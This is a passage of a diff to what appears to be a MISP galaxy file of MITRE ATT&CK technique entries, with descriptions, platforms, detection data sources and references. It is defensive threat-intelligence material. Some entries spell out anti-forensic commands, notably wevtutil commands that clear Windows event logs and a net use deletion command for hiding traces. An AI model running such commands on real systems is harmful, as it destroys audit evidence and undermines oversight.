executes without further action by the user. (Citation: WSUSpect2015)", "meta": { "external_id": "T1384", "kill_chain": [ @@ -2039,7 +2745,7 @@ "value": "Distribute malicious software development tools - T1394" }, { - "description": "An adversary may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ", + "description": "Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ", "meta": { "external_id": "T1537", "kill_chain": [ @@ -2078,7 +2784,7 @@ "value": "Review logs and residual traces - T1358" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)", "meta": { "external_id": "T1395", "kill_chain": [ @@ -2106,7 +2812,7 @@ "value": "Test malware to evade detection - T1359" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nReplacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nReplacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)", "meta": { "external_id": "T1378", "kill_chain": [ @@ -2120,7 +2826,7 @@ "value": "Replace legitimate binary with malware - T1378" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExternally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)", + "description": "**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nExternally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)", "meta": { "external_id": "T1388", "kill_chain": [ @@ -2160,6 +2866,32 @@ "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", "value": "Jamming or Denial of Service - T1464" }, + { + "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", + "meta": { + "external_id": "T1547", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547", + "http://msdn.microsoft.com/en-us/library/aa376977", + "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx", + "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", + "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "value": "Boot or Logon Autostart Execution - T1547" + }, { "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location)", "meta": { @@ -2224,6 +2956,35 @@ "uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "value": "Install Insecure or Malicious Configuration - T1478" }, + { + "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). \n\nKerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.", + "meta": { + "external_id": "T1558", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows event logs", + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1558", + "https://adsecurity.org/?p=227", + "https://adsecurity.org/?p=1515", + "https://blog.stealthbits.com/detect-pass-the-ticket-attacks", + "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", + "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285", + "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", + "https://adsecurity.org/?p=2293", + "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + ] + }, + "uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a", + "value": "Steal or Forge Kerberos Tickets - T1558" + }, { "description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)", "meta": { @@ -2239,7 +3000,7 @@ "value": "Aggregate individual's digital footprint - T1275" }, { - "description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)", + "description": "**This technique has been deprecated. Please use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1568/002).**\n\nThe use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)", "meta": { "external_id": "T1323", "kill_chain": [ @@ -2253,7 +3014,7 @@ "value": "Domain Generation Algorithms (DGA) - T1323" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)", "meta": { "external_id": "T1372", "kill_chain": [ @@ -2270,18 +3031,6 @@ "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", "meta": { "external_id": "T1171", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "Windows event logs", - "Windows Registry", - "Packet capture", - "Netflow/Enclave netflow" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1171", "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution", @@ -2295,6 +3044,15 @@ "https://github.com/Kevin-Robertson/Conveigh" ] }, + "related": [ + { + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", "value": "LLMNR/NBT-NS Poisoning and Relay - T1171" }, @@ -2312,36 +3070,6 @@ "uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2", "value": "OS-vendor provided communication channels - T1390" }, - { - "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", - "meta": { - "external_id": "T1095", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "Host network interface", - "Netflow/Enclave netflow", - "Network intrusion detection system", - "Network protocol analysis", - "Packet capture", - "Process use of network" - ], - "mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1095", - "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29", - "http://support.microsoft.com/KB/170292", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ] - }, - "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "value": "Standard Non-Application Layer Protocol - T1095" - }, { "description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).", "meta": { @@ -2364,7 +3092,1011 @@ "value": "Rogue Wi-Fi Access Points - T1465" }, { - "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.", + "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "meta": { + "external_id": "T1070.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring", + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1070/001", + "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil", + "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx", + "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog" + ] + }, + "related": [ + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "type": "subtechnique-of" + } + ], + "uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "value": "Clear Windows Event Logs - T1070.001" + }, + { + "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)", + "meta": { + "external_id": "T1070.005", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Authentication logs", + "Packet capture", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1070/005", + "https://technet.microsoft.com/bb490717.aspx" + ] + }, + "related": [ + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "type": "subtechnique-of" + } + ], + "uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", + "value": "Network Share Connection Removal - T1070.005" + }, + { + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", + "meta": { + "external_id": "T1021.003", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Windows event logs", + "Windows Registry", + "Process monitoring", + "Packet capture", + "DLL monitoring", + "Authentication logs", + "API monitoring", + "PowerShell logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1021/003", + "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", + "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx", + "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1", + "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/", + "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/", + "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom" + ] + }, + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "type": "subtechnique-of" + } + ], + "uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", + "value": "Distributed Component Object Model - T1021.003" + }, + { + "description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.", + "meta": { + "external_id": "T1027.005", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Anti-virus", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1027/005" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "type": "subtechnique-of" + } + ], + "uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", + "value": "Indicator Removal from Tools - T1027.005" + }, + { + "description": "Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", + "meta": { + "external_id": "T1098.002", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Office 365 audit logs" + ], + "mitre_platforms": [ + "Windows", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1098/002", + "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps", + "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", + "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/", + "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365" + ] + }, + "related": [ + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "type": "subtechnique-of" + } + ], + "uuid": "e74de37c-a829-446c-937d-56a44f0e9306", + "value": "Exchange Email Delegate Permissions - T1098.002" + }, + { + "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)", + "meta": { + "external_id": "T1036.004", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1036/004", + "https://technet.microsoft.com/en-us/library/bb490996.aspx", + "https://www.freedesktop.org/software/systemd/man/systemd.service.html", + "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", + "https://vms.drweb.com/virus/?i=4276269" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "type": "subtechnique-of" + } + ], + "uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "value": "Masquerade Task or Service - T1036.004" + }, + { + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)", + "meta": { + "external_id": "T1560.003", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1560/003", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + ] + }, + "related": [ + { + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "type": "subtechnique-of" + } + ], + "uuid": "143c0cbb-a297-4142-9624-87ffc778980b", + "value": "Archive via Custom Method - T1560.003" + }, + { + "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.011", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/011", + "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", + "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", + "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "0042a9f5-f053-4769-b3ef-9ad018dfa298", + "value": "Extra Window Memory Injection - T1055.011" + }, + { + "description": "Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with DuplicateToken(Ex) and use it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.", + "meta": { + "external_id": "T1134.002", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Access tokens", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1134/002", + "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + ] + }, + "related": [ + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "type": "subtechnique-of" + } + ], + "uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", + "value": "Create Process with Token - T1134.002" + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.", + "meta": { + "external_id": "CAPEC-578", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Windows Registry", + "Services", + "File monitoring" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1562/001", + "https://capec.mitre.org/data/definitions/578.html" + ] + }, + "related": [ + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "type": "subtechnique-of" + } + ], + "uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "value": "Disable or Modify Tools - T1562.001" + }, + { + "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) ", + "meta": { + "external_id": "T1195.002", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Web proxy" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1195/002", + "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", + "https://www.commandfive.com/papers/C5_APT_SKHack.pdf" + ] + }, + "related": [ + { + "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "type": "subtechnique-of" + } + ], + "uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "value": "Compromise Software Supply Chain - T1195.002" + }, + { + "description": "Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.", + "meta": { + "external_id": "T1134.003", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Access tokens", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1134/003", + 